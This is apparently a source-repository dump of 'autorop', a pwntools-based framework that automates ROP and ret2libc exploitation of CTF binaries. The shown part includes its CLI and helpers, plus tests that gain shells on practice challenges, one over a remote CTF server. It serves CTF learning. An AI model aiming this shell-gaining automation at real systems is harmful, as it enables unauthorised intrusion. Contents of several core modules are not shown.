├── autorop ├── toplevel │ ├── __init__.py │ ├── constants.py │ ├── Pipe.py │ ├── Pipeline.py │ └── PwnState.py ├── bof │ ├── __init__.py │ └── Corefile.py ├── turnkey │ ├── __init__.py │ └── Classic.py ├── assertion │ ├── __init__.py │ └── have_shell.py ├── leak │ ├── __init__.py │ ├── Printf.py │ └── Puts.py ├── call │ ├── __init__.py │ ├── Custom.py │ └── SystemBinSh.py ├── libc │ ├── __init__.py │ ├── Auto.py │ ├── Rip.py │ └── Database.py ├── arutil │ ├── addressify.py │ ├── debug_requests.py │ ├── __init__.py │ ├── pad_rop.py │ ├── pretty_function.py │ ├── align_rop.py │ ├── load_libc.py │ ├── OpenTarget.py │ ├── align_call.py │ └── leak_helper.py ├── __init__.py └── cli.py ├── tests ├── bamboofox │ ├── __init__.py │ ├── ret2libc │ ├── README.md │ └── test_ret2libc.py ├── ductf_2020 │ ├── __init__.py │ ├── return-to-what │ ├── README.md │ └── test_return_to_what.py ├── tjctf_2020 │ ├── __init__.py │ ├── README.md │ ├── stop │ └── test_stop.py ├── ropemporium │ ├── __init__.py │ ├── README.md │ ├── callme │ ├── callme32 │ ├── ret2win │ ├── ret2win32 │ ├── libcallme.so │ ├── libcallme32.so │ ├── test_callme.py │ └── test_ret2win.py ├── __init__.py ├── test.sh └── conftest.py ├── docs ├── source │ ├── .gitignore │ ├── index.rst │ └── conf.py ├── Makefile ├── make.bat └── requirements.txt ├── .coveragerc ├── mypy.ini ├── ci ├── tests │ ├── typecheck.sh │ ├── lint.sh │ ├── versions.sh │ └── test.sh ├── build.sh ├── requirements.txt └── UbuntuDockerfile ├── pytest.ini ├── setup.py ├── LICENSE ├── .github └── workflows │ └── test.yml ├── .gitignore └── README.rst /autorop/toplevel/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/bamboofox/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/ductf_2020/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tests/tjctf_2020/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /docs/source/.gitignore: -------------------------------------------------------------------------------- 1 | *.rst 2 | -------------------------------------------------------------------------------- /tests/ropemporium/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.coveragerc: -------------------------------------------------------------------------------- 1 | [run] 2 | omit=venv/* 3 | 4 | [report] 5 | fail_under=95 6 | -------------------------------------------------------------------------------- /autorop/bof/__init__.py: -------------------------------------------------------------------------------- 1 | from autorop.bof.Corefile import Corefile 2 | -------------------------------------------------------------------------------- /tests/__init__.py: -------------------------------------------------------------------------------- 1 | from .conftest import * 2 | from autorop import * 3 | -------------------------------------------------------------------------------- /autorop/turnkey/__init__.py: -------------------------------------------------------------------------------- 1 | from autorop.turnkey.Classic import Classic 2 | -------------------------------------------------------------------------------- /autorop/assertion/__init__.py: -------------------------------------------------------------------------------- 1 | from autorop.assertion.have_shell import have_shell 2 | -------------------------------------------------------------------------------- /mypy.ini: -------------------------------------------------------------------------------- 1 | [mypy] 2 | implicit_reexport=True 3 | ignore_missing_imports=True 4 | strict=true 5 | -------------------------------------------------------------------------------- /tests/ropemporium/README.md: -------------------------------------------------------------------------------- 1 | # Challenges from ROP Emporium 2 | 3 | https://ropemporium.com/ 4 | -------------------------------------------------------------------------------- /tests/tjctf_2020/README.md: -------------------------------------------------------------------------------- 1 | # Challenges from TJCTF 2020 2 | 3 | https://ctftime.org/event/928 4 | -------------------------------------------------------------------------------- /tests/tjctf_2020/stop: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mariuszskon/autorop/HEAD/tests/tjctf_2020/stop -------------------------------------------------------------------------------- /tests/bamboofox/ret2libc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mariuszskon/autorop/HEAD/tests/bamboofox/ret2libc -------------------------------------------------------------------------------- /tests/ropemporium/callme: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mariuszskon/autorop/HEAD/tests/ropemporium/callme -------------------------------------------------------------------------------- /autorop/leak/__init__.py: -------------------------------------------------------------------------------- 1 | from autorop.leak.Puts import Puts 2 | from autorop.leak.Printf import Printf 3 | -------------------------------------------------------------------------------- /tests/bamboofox/README.md: -------------------------------------------------------------------------------- 1 | # Challenges from Bamboofox 2 | 3 | https://bamboofox.cs.nctu.edu.tw/courses 4 | -------------------------------------------------------------------------------- /tests/ropemporium/callme32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mariuszskon/autorop/HEAD/tests/ropemporium/callme32 -------------------------------------------------------------------------------- /tests/ropemporium/ret2win: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mariuszskon/autorop/HEAD/tests/ropemporium/ret2win -------------------------------------------------------------------------------- /ci/tests/typecheck.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | source /home/venv/bin/activate 6 | mypy -p autorop 7 | -------------------------------------------------------------------------------- /tests/ropemporium/ret2win32: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mariuszskon/autorop/HEAD/tests/ropemporium/ret2win32 -------------------------------------------------------------------------------- /tests/ductf_2020/return-to-what: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mariuszskon/autorop/HEAD/tests/ductf_2020/return-to-what -------------------------------------------------------------------------------- /tests/ropemporium/libcallme.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mariuszskon/autorop/HEAD/tests/ropemporium/libcallme.so -------------------------------------------------------------------------------- /autorop/call/__init__.py: -------------------------------------------------------------------------------- 1 | from autorop.call.Custom import Custom 2 | from autorop.call.SystemBinSh import SystemBinSh 3 | -------------------------------------------------------------------------------- /ci/tests/lint.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | source /home/venv/bin/activate 6 | black --check --diff --color . 7 | -------------------------------------------------------------------------------- /tests/ropemporium/libcallme32.so: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mariuszskon/autorop/HEAD/tests/ropemporium/libcallme32.so -------------------------------------------------------------------------------- /tests/ductf_2020/README.md: -------------------------------------------------------------------------------- 1 | # Challenges from DownUnderCTF 2020 2 | 3 | https://github.com/DownUnderCTF/Challenges\_2020\_Public 4 | -------------------------------------------------------------------------------- /autorop/libc/__init__.py: -------------------------------------------------------------------------------- 1 | from autorop.libc.Auto import Auto 2 | from autorop.libc.Rip import Rip 3 | from autorop.libc.Database import Database 4 | -------------------------------------------------------------------------------- /pytest.ini: -------------------------------------------------------------------------------- 1 | [pytest] 2 | # actually use `test_` prefix not just `test` = 3 | # (prevents misidentification of imported functions) 4 | python_functions=test_* 5 | 6 | testpaths=tests 7 | -------------------------------------------------------------------------------- /ci/tests/versions.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | source /home/venv/bin/activate 6 | uname -a 7 | sysctl kernel.core_pattern 8 | ldd --version | head -n 1 9 | python --version 10 | pip freeze 11 | -------------------------------------------------------------------------------- /ci/tests/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | source /home/venv/bin/activate 6 | export TERM=xterm # hack to fix pwntools 7 | coverage run --omit '/home/venv/*' -m pytest --reruns 2 && 8 | coverage report 9 | -------------------------------------------------------------------------------- /docs/source/index.rst: -------------------------------------------------------------------------------- 1 | .. include:: ../../README.rst 2 | 3 | .. toctree:: 4 | :maxdepth: 4 5 | 6 | modules 7 | 8 | 9 | Indices and tables 10 | ================== 11 | 12 | * :ref:`genindex` 13 | * :ref:`modindex` 14 | * :ref:`search` 15 | -------------------------------------------------------------------------------- /tests/test.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cd ci/ 4 | ./build.sh $1 && 5 | docker run --rm "autorop-test-$1" ./versions.sh && 6 | docker run --rm "autorop-test-$1" ./lint.sh && 7 | docker run --rm "autorop-test-$1" ./typecheck.sh && 8 | docker run --rm "autorop-test-$1" ./test.sh 9 | -------------------------------------------------------------------------------- /tests/ductf_2020/test_return_to_what.py: -------------------------------------------------------------------------------- 1 | from .. import * 2 | 3 | BIN = "./tests/ductf_2020/return-to-what" 4 | 5 | 6 | def test_return_to_what(exploit): 7 | state = exploit(BIN, lambda: process(BIN)) 8 | state = turnkey.Classic()(state) 9 | assert assertion.have_shell(state.target) 10 | -------------------------------------------------------------------------------- /ci/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | LIBC_DATABASE_IMAGE="mariuszskon/libc-database:2022.04.03" 6 | 7 | docker pull $LIBC_DATABASE_IMAGE 8 | 9 | if [[ $1 == ubuntu:* || $1 == debian:* ]] 10 | then 11 | docker build -f UbuntuDockerfile --build-arg "LIBC_DATABASE_IMAGE=$LIBC_DATABASE_IMAGE" --build-arg "UBUNTU_IMAGE=$1" -t "autorop-test-$1" .. 12 | else 13 | echo "Unknown image '$1'" 14 | exit 1 15 | fi 16 | -------------------------------------------------------------------------------- /autorop/arutil/addressify.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState 2 | from pwn import context, unpack 3 | 4 | 5 | def addressify(data: bytes) -> int: 6 | """Produce the address from a data leak. 7 | 8 | Arguments: 9 | data: Raw bytes that were leaked. 10 | 11 | Returns: 12 | The address which was part of the leak. 13 | """ 14 | result: int = unpack(data[: context.bytes].ljust(context.bytes, b"\x00")) 15 | return result 16 | -------------------------------------------------------------------------------- /autorop/toplevel/constants.py: -------------------------------------------------------------------------------- 1 | from typing import Callable, TYPE_CHECKING 2 | 3 | if TYPE_CHECKING: 4 | from autorop import PwnState 5 | 6 | #: pwntools ``tube.clean(CLEAN_TIME)``, for removing excess output 7 | CLEAN_TIME = 0.5 8 | 9 | #: Stack alignment, in bytes 10 | #: Ubuntu et al. on x86_64 require it 11 | #: (https://ropemporium.com/guide.html#Common%20pitfalls) 12 | #: and some 32 bit binaries perform ``and esp, 0xfffffff0`` in ``main`` 13 | STACK_ALIGNMENT = 16 14 | -------------------------------------------------------------------------------- /autorop/arutil/debug_requests.py: -------------------------------------------------------------------------------- 1 | from pwn import log 2 | import requests 3 | 4 | 5 | def debug_requests(r: requests.Response) -> None: 6 | """Print debugging information on a HTTP response made with ``requests``. 7 | 8 | Arguments: 9 | r: The response whose contents are to be logged. 10 | """ 11 | log.debug(repr(r.request.headers)) 12 | log.debug(repr(r.request.body)) 13 | log.debug(repr(r.headers)) 14 | # log.debug(repr(r.content)) # often too big 15 | -------------------------------------------------------------------------------- /autorop/arutil/__init__.py: -------------------------------------------------------------------------------- 1 | from autorop.arutil.addressify import addressify 2 | from autorop.arutil.debug_requests import debug_requests 3 | from autorop.arutil.pad_rop import pad_rop 4 | from autorop.arutil.pretty_function import pretty_function 5 | from autorop.arutil.align_rop import align_rop 6 | from autorop.arutil.leak_helper import leak_helper 7 | from autorop.arutil.load_libc import load_libc 8 | from autorop.arutil.OpenTarget import OpenTarget 9 | from autorop.arutil.align_call import align_call 10 | -------------------------------------------------------------------------------- /autorop/arutil/pad_rop.py: -------------------------------------------------------------------------------- 1 | from pwn import ROP 2 | 3 | 4 | def pad_rop(rop: ROP, n: int) -> ROP: 5 | """Append ``n`` ``ret`` instructions to ``rop``. 6 | 7 | Arguments: 8 | rop: The rop chain to pad. 9 | n: The number of ``ret`` instructions to pad ``rop`` with. 10 | 11 | Returns: 12 | Reference to mutated rop chain ``rop``, which has had exactly ``n`` ``ret`` 13 | instructions appended to it. 14 | """ 15 | for _ in range(n): 16 | rop.raw(rop.ret) 17 | return rop 18 | -------------------------------------------------------------------------------- /tests/ropemporium/test_callme.py: -------------------------------------------------------------------------------- 1 | from .. import * 2 | 3 | CWD = "./tests/ropemporium/" 4 | BIN32 = "./callme32" 5 | BIN64 = "./callme" 6 | 7 | 8 | def test_callme32_local(exploit): 9 | with cwd(CWD): 10 | state = exploit(BIN32, lambda: process(BIN32)) 11 | state = turnkey.Classic()(state) 12 | assert assertion.have_shell(state.target) 13 | 14 | 15 | def test_callme_local(exploit): 16 | with cwd(CWD): 17 | state = exploit(BIN64, lambda: process(BIN64)) 18 | state = turnkey.Classic()(state) 19 | assert assertion.have_shell(state.target) 20 | -------------------------------------------------------------------------------- /autorop/__init__.py: -------------------------------------------------------------------------------- 1 | from __future__ import absolute_import 2 | from pwn import * 3 | import importlib 4 | 5 | # necessary to prevent python getting confused between variable and file names 6 | import autorop.toplevel.constants as constants 7 | from autorop.toplevel.PwnState import PwnState 8 | from autorop.toplevel.Pipe import Pipe 9 | from autorop.toplevel.Pipeline import Pipeline 10 | 11 | all_modules = [ 12 | "arutil", 13 | "assertion", 14 | "bof", 15 | "call", 16 | "leak", 17 | "libc", 18 | "turnkey", 19 | ] 20 | 21 | for module in all_modules: 22 | importlib.import_module(".%s" % module, "autorop") 23 | -------------------------------------------------------------------------------- /autorop/arutil/pretty_function.py: -------------------------------------------------------------------------------- 1 | from typing import Iterable, Any 2 | 3 | 4 | def pretty_function(name: str, args: Iterable[Any]) -> str: 5 | """Produce a pretty textual description of a function call. 6 | 7 | Produce a string describing a function call. This is of the form: 8 | name(args[0], args[1], ...) 9 | 10 | Arguments: 11 | name: Name of function. 12 | args: The arguments passed to said function. 13 | 14 | Returns: 15 | Textual description of function call to the function name 16 | with the provided arguments. 17 | """ 18 | pretty_args = ", ".join(repr(x) for x in args) 19 | return f"{name}({pretty_args})" 20 | -------------------------------------------------------------------------------- /autorop/arutil/align_rop.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, arutil 2 | from pwn import ROP, context, log 3 | 4 | 5 | def align_rop(rop: ROP, n: int) -> ROP: 6 | """Pad ``rop`` to ``n`` words using ``ret`` instructions. 7 | 8 | Arguments: 9 | rop: The rop chain to pad. 10 | n: the minimum size of the rop chain after padding, in words. 11 | 12 | Returns: 13 | Reference to the mutated rop chain ``rop``, which is padded to be 14 | at least ``n`` bytes long. 15 | """ 16 | log.debug("Padding rop chain to {} words".format(n)) 17 | current_words: int = len(rop.chain()) // context.bytes 18 | return arutil.pad_rop(rop, n - current_words) 19 | -------------------------------------------------------------------------------- /autorop/arutil/load_libc.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState 2 | from pwn import ELF, ROP 3 | 4 | 5 | def load_libc(state: PwnState) -> ELF: 6 | """Load the libc specified in the given state into a pwntools' ``ELF``. 7 | 8 | Arguments: 9 | state: The state, with the following set 10 | 11 | - ``libc``: Path to ``target``'s libc. 12 | - ``libc_base``: Base address of ``libc``, or ``None`` if unknown. 13 | 14 | Returns: 15 | Loaded ``ELF`` of the libc with attributes set as expected. 16 | """ 17 | assert state.libc is not None 18 | elf = ELF(state.libc) 19 | if state.libc_base is not None: 20 | elf.address = state.libc_base 21 | return elf 22 | -------------------------------------------------------------------------------- /docs/Makefile: -------------------------------------------------------------------------------- 1 | # Minimal makefile for Sphinx documentation 2 | # 3 | 4 | # You can set these variables from the command line, and also 5 | # from the environment for the first two. 6 | SPHINXOPTS ?= 7 | SPHINXBUILD ?= sphinx-build 8 | SOURCEDIR = source 9 | BUILDDIR = build 10 | 11 | # Put it first so that "make" without argument is like "make help". 12 | help: 13 | @$(SPHINXBUILD) -M help "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 14 | 15 | .PHONY: help Makefile 16 | 17 | # Catch-all target: route all unknown targets to Sphinx using the new 18 | # "make mode" option. $(O) is meant as a shortcut for $(SPHINXOPTS). 19 | %: Makefile 20 | @$(SPHINXBUILD) -M $@ "$(SOURCEDIR)" "$(BUILDDIR)" $(SPHINXOPTS) $(O) 21 | -------------------------------------------------------------------------------- /autorop/assertion/have_shell.py: -------------------------------------------------------------------------------- 1 | from autorop import constants 2 | from pwn import tube, log 3 | 4 | 5 | def have_shell(tube: tube) -> bool: 6 | """Check if the given tube is a shell, using a simple heuristic. 7 | 8 | Arguments: 9 | tube: The connection to check if we have a shell. 10 | 11 | Returns: 12 | ``True`` if the heuristic does think there is a shell, ``False`` otherwise. 13 | """ 14 | tube.clean(constants.CLEAN_TIME) # clean excess output 15 | tube.sendline("echo $0") 16 | line: bytes = tube.readline() 17 | rest = tube.clean(constants.CLEAN_TIME) 18 | log.debug(f"Shell response line: {line!r}") 19 | log.debug(f"Rest: {rest!r}") 20 | 21 | return line == b"/bin/sh\n" 22 | -------------------------------------------------------------------------------- /tests/bamboofox/test_ret2libc.py: -------------------------------------------------------------------------------- 1 | from .. import * 2 | 3 | BIN = "./tests/bamboofox/ret2libc" 4 | 5 | 6 | def test_ret2libc_local(exploit): 7 | state = exploit(BIN, lambda: process(BIN)) 8 | state = turnkey.Classic()(state) 9 | assert assertion.have_shell(state.target) 10 | 11 | 12 | def test_ret2libc_remote(exploit): 13 | state = exploit(BIN, lambda: remote("bamboofox.cs.nctu.edu.tw", 11002)) 14 | state = turnkey.Classic()(state) 15 | assert assertion.have_shell(state.target) 16 | 17 | 18 | def test_ret2libc_remote_libc_rip(exploit): 19 | state = exploit(BIN, lambda: remote("bamboofox.cs.nctu.edu.tw", 11002)) 20 | state = turnkey.Classic(lookup=libc.Rip())(state) 21 | assert assertion.have_shell(state.target) 22 | -------------------------------------------------------------------------------- /ci/requirements.txt: -------------------------------------------------------------------------------- 1 | bcrypt==3.2.0 2 | capstone==5.0.0rc2 3 | certifi==2021.10.8 4 | cffi==1.15.0 5 | charset-normalizer==2.0.12 6 | colored-traceback==0.3.0 7 | cryptography==36.0.2 8 | idna==3.3 9 | intervaltree==3.1.0 10 | Mako==1.2.0 11 | MarkupSafe==2.1.1 12 | packaging==21.3 13 | paramiko==2.10.3 14 | plumbum==1.7.2 15 | psutil==5.9.0 16 | pwntools==4.7.0 17 | pycparser==2.21 18 | pyelftools==0.28 19 | Pygments==2.11.2 20 | PyNaCl==1.5.0 21 | pyparsing==3.0.7 22 | pyserial==3.5 23 | PySocks==1.7.1 24 | python-dateutil==2.8.2 25 | requests==2.27.1 26 | ROPGadget==6.7 27 | rpyc==5.1.0 28 | six==1.16.0 29 | sortedcontainers==2.4.0 30 | types-requests==2.27.16 31 | types-urllib3==1.26.11 32 | typing_extensions==4.1.1 33 | unicorn==2.0.0rc6 34 | urllib3==1.26.9 35 | -------------------------------------------------------------------------------- /autorop/cli.py: -------------------------------------------------------------------------------- 1 | # autorop - automated solver of classic CTF pwn challenges, with flexibility in mind 2 | 3 | from autorop import PwnState, turnkey 4 | from pwn import sys, process, connect # mypy needs this separately :/ 5 | 6 | 7 | def main() -> None: 8 | if len(sys.argv) == 2: 9 | # exploit local binary 10 | binary = sys.argv[1] 11 | state = PwnState(binary, lambda: process(binary)) 12 | elif len(sys.argv) == 4: 13 | # exploit remote 14 | binary, host, ip = sys.argv[1:] 15 | state = PwnState(binary, lambda: connect(host, int(ip))) 16 | else: 17 | print("Usage: autorop BINARY [HOST PORT]") 18 | exit() 19 | 20 | result = turnkey.Classic()(state) 21 | assert result.target is not None 22 | result.target.interactive() 23 | -------------------------------------------------------------------------------- /tests/ropemporium/test_ret2win.py: -------------------------------------------------------------------------------- 1 | from .. import * 2 | 3 | BIN32 = "./tests/ropemporium/ret2win32" 4 | BIN64 = "./tests/ropemporium/ret2win" 5 | 6 | 7 | def test_ret2win32_local(exploit): 8 | state = exploit(BIN32, lambda: process(BIN32)) 9 | state = Pipeline(bof.Corefile(), arutil.OpenTarget(), call.Custom("ret2win"))(state) 10 | assert b"Well done! Here's your flag:" in state.target.clean(constants.CLEAN_TIME) 11 | 12 | 13 | def test_ret2win_local(exploit): 14 | state = exploit(BIN64, lambda: process(BIN64)) 15 | # align not strictly needed but inreases test line coverage ;) 16 | state = Pipeline( 17 | bof.Corefile(), arutil.OpenTarget(), call.Custom("ret2win", align=True) 18 | )(state) 19 | assert b"Well done! Here's your flag:" in state.target.clean(constants.CLEAN_TIME) 20 | -------------------------------------------------------------------------------- /tests/tjctf_2020/test_stop.py: -------------------------------------------------------------------------------- 1 | from .. import * 2 | 3 | BIN = "./tests/tjctf_2020/stop" 4 | 5 | 6 | def test_stop(exploit): 7 | # this is the example from the README 8 | def send_letter_first(tube, data): 9 | # the binary expects us to choose a letter first, before it takes input unsafely 10 | tube.sendline("A") 11 | # send actual payload 12 | tube.sendline(data) 13 | 14 | # create a starting state - modified to use fixture 15 | s = exploit(BIN, lambda: process(BIN)) 16 | # set an overwriter function, if the buffer overflow input 17 | # is not available immediately 18 | s.overwriter = send_letter_first 19 | 20 | # use base classic pipeline, with printf for leaking 21 | pipeline = turnkey.Classic(leak=leak.Printf()) 22 | result = pipeline(s) 23 | 24 | assert assertion.have_shell(result.target) 25 | -------------------------------------------------------------------------------- /autorop/toplevel/Pipe.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState 2 | from typing import Any, Iterable 3 | 4 | 5 | class Pipe: 6 | def __init__(self, params: Iterable[Any]): 7 | """Create a "pipe" which operates on a ``PwnState``. 8 | 9 | Pipes are abstractions that perform a single logical "step" 10 | on a ``PwnState``, returning the modified ``PwnState``. 11 | 12 | Arguments: 13 | params: The initialisation parameters which describe this pipe. 14 | 15 | Returns: 16 | A pipe, which takes and returns a single ``PwnState``. 17 | """ 18 | from autorop import arutil 19 | 20 | self.description = arutil.pretty_function(self.__class__.__name__, params) 21 | 22 | def __call__(self, state: PwnState) -> PwnState: 23 | return state 24 | 25 | def __repr__(self) -> str: 26 | return self.description 27 | -------------------------------------------------------------------------------- /docs/make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | pushd %~dp0 4 | 5 | REM Command file for Sphinx documentation 6 | 7 | if "%SPHINXBUILD%" == "" ( 8 | set SPHINXBUILD=sphinx-build 9 | ) 10 | set SOURCEDIR=source 11 | set BUILDDIR=build 12 | 13 | if "%1" == "" goto help 14 | 15 | %SPHINXBUILD% >NUL 2>NUL 16 | if errorlevel 9009 ( 17 | echo. 18 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx 19 | echo.installed, then set the SPHINXBUILD environment variable to point 20 | echo.to the full path of the 'sphinx-build' executable. Alternatively you 21 | echo.may add the Sphinx directory to PATH. 22 | echo. 23 | echo.If you don't have Sphinx installed, grab it from 24 | echo.http://sphinx-doc.org/ 25 | exit /b 1 26 | ) 27 | 28 | %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 29 | goto end 30 | 31 | :help 32 | %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 33 | 34 | :end 35 | popd 36 | -------------------------------------------------------------------------------- /autorop/arutil/OpenTarget.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe 2 | 3 | 4 | class OpenTarget(Pipe): 5 | def __init__(self) -> None: 6 | """Open a fresh target. 7 | 8 | This pipe will close the previous target connection and open a new one using 9 | ``target_factory()``. 10 | """ 11 | super().__init__(()) 12 | 13 | def __call__(self, state: PwnState) -> PwnState: 14 | """Open a fresh target. 15 | 16 | Arguments: 17 | state: The state with the old (if any) ``target`` and factory for targets 18 | ``target_factory()``. 19 | 20 | Returns: 21 | The mutated ``PwnState`` with a fresh target connection open. 22 | """ 23 | if state.target is not None: 24 | try: 25 | state.target.close() 26 | except: 27 | pass 28 | 29 | state.target = state.target_factory() 30 | 31 | return state 32 | -------------------------------------------------------------------------------- /tests/conftest.py: -------------------------------------------------------------------------------- 1 | # common functions/fixtures which can be reused throughout tests 2 | from autorop import * 3 | import pytest 4 | from contextlib import contextmanager 5 | 6 | 7 | @pytest.fixture 8 | def exploit(): 9 | """Fixture for testing a local binary running through a `tube`.""" 10 | # somewhat hacky code to allow us to easily pass a parameter 11 | wrapper = [] 12 | 13 | def inner(binary, tube): 14 | state = PwnState(binary, tube) 15 | wrapper.append(state) 16 | return wrapper[0] 17 | 18 | yield inner 19 | try: 20 | if wrapper[0].target is not None: 21 | wrapper[0].target.close() 22 | except BrokenPipeError: 23 | pass 24 | 25 | # remove corefiles to prevent pwntools from getting lost later 26 | os.system("rm core.*") 27 | 28 | 29 | # https://stackoverflow.com/a/37996581 30 | @contextmanager 31 | def cwd(path): 32 | oldpwd = os.getcwd() 33 | os.chdir(path) 34 | try: 35 | yield 36 | finally: 37 | os.chdir(oldpwd) 38 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from setuptools import setup, find_packages 4 | 5 | with open("README.rst", "r", encoding="utf-8") as f: 6 | long_description = f.read() 7 | 8 | setup( 9 | name="autorop", 10 | version="0.0.0", 11 | author="Mariusz Skoneczko", 12 | author_email="mariusz@skoneczko.com", 13 | description="CTF pwn challenge automation framework", 14 | long_description=long_description, 15 | long_description_content_type="text/x-rst", 16 | url="https://github.com/mariuszskon/autorop", 17 | license="MIT", 18 | classifiers=[ 19 | "Programming Language :: Python :: 3", 20 | "License :: OSI Approved :: MIT License", 21 | "Operating System :: POSIX :: Linux", 22 | ], 23 | packages=find_packages(), 24 | entry_points={"console_scripts": ["autorop=autorop.cli:main"]}, 25 | python_requires=">=3.6.0", 26 | install_requires=[ 27 | "pwntools", 28 | "dataclasses>='0.7';python_version<'3.7'", 29 | "typing-extensions", 30 | ], 31 | ) 32 | -------------------------------------------------------------------------------- /autorop/libc/Auto.py: -------------------------------------------------------------------------------- 1 | from autorop import PwnState, Pipe, libc 2 | 3 | 4 | class Auto(Pipe): 5 | def __init__(self) -> None: 6 | """Acquire libc using configured service. 7 | 8 | We can programmatically find and download libc based on function address leaks 9 | (two or more preferred). This pipe will set ``state.libc``, including setting 10 | ``state.libc.address`` for ready-to-use address calculation. 11 | """ 12 | super().__init__(()) 13 | 14 | def __call__(self, state: PwnState) -> PwnState: 15 | """Perform the libc acquisition using ``state.libc_getter``. 16 | 17 | Arguments: 18 | state: The current ``PwnState`` with at least the following set 19 | 20 | - ``libc_getter``: What to use to get libc. This might have its 21 | own requirements for attributes set in ``state``. 22 | 23 | Returns: 24 | Mutated ``PwnState``, with updates from ``libc_getter``. 25 | """ 26 | assert state.libc_getter is not None 27 | 28 | return state.libc_getter(state) 29 | -------------------------------------------------------------------------------- /ci/UbuntuDockerfile: -------------------------------------------------------------------------------- 1 | ARG UBUNTU_IMAGE 2 | ARG LIBC_DATABASE_IMAGE 3 | 4 | FROM $LIBC_DATABASE_IMAGE as libc-database-builder 5 | 6 | FROM $UBUNTU_IMAGE 7 | ENV DEBIAN_FRONTEND=noninteractive 8 | RUN dpkg --add-architecture i386 9 | RUN apt-get update && apt-get install -y \ 10 | build-essential \ 11 | git \ 12 | procps \ 13 | python3 \ 14 | python3-dev \ 15 | python3-pip \ 16 | python3-venv \ 17 | libssl-dev \ 18 | libffi-dev \ 19 | libc6:i386 \ 20 | && rm -rf /var/lib/apt/lists/* 21 | RUN mkdir -p /home/tests 22 | WORKDIR /home/tests 23 | COPY --from=libc-database-builder /libc-database /root/.libc-database 24 | COPY ./ci/requirements.txt ./ci/tests/versions.sh ./ci/tests/lint.sh ./ci/tests/typecheck.sh ./ci/tests/test.sh ./ 25 | RUN python3 -m venv /home/venv 26 | # make docker cache dependencies 27 | RUN . /home/venv/bin/activate && \ 28 | pip install --upgrade pip && \ 29 | pip install --upgrade black mypy pytest pytest-rerunfailures coverage pwntools && \ 30 | pip install -r requirements.txt 31 | COPY . ./ 32 | RUN . /home/venv/bin/activate && pip install . 33 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020-2021 Mariusz Skoneczko 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /docs/requirements.txt: -------------------------------------------------------------------------------- 1 | alabaster==0.7.12 2 | Babel==2.9.1 3 | bcrypt==3.2.0 4 | capstone==5.0.0rc2 5 | certifi==2021.10.8 6 | cffi==1.15.0 7 | chardet==4.0.0 8 | charset-normalizer==2.0.12 9 | colored-traceback==0.3.0 10 | cryptography==36.0.2 11 | docutils==0.17.1 12 | idna==3.3 13 | imagesize==1.3.0 14 | intervaltree==3.1.0 15 | Jinja2==3.1.1 16 | Mako==1.2.0 17 | MarkupSafe==2.1.1 18 | packaging==21.3 19 | paramiko==2.10.3 20 | plumbum==1.7.2 21 | psutil==5.9.0 22 | pwntools==4.7.0 23 | pycparser==2.21 24 | pyelftools==0.28 25 | Pygments==2.11.2 26 | PyNaCl==1.5.0 27 | pyparsing==3.0.7 28 | pyserial==3.5 29 | PySocks==1.7.1 30 | python-dateutil==2.8.2 31 | pytz==2022.1 32 | requests==2.27.1 33 | ROPGadget==6.7 34 | rpyc==5.1.0 35 | six==1.16.0 36 | snowballstemmer==2.2.0 37 | sortedcontainers==2.4.0 38 | 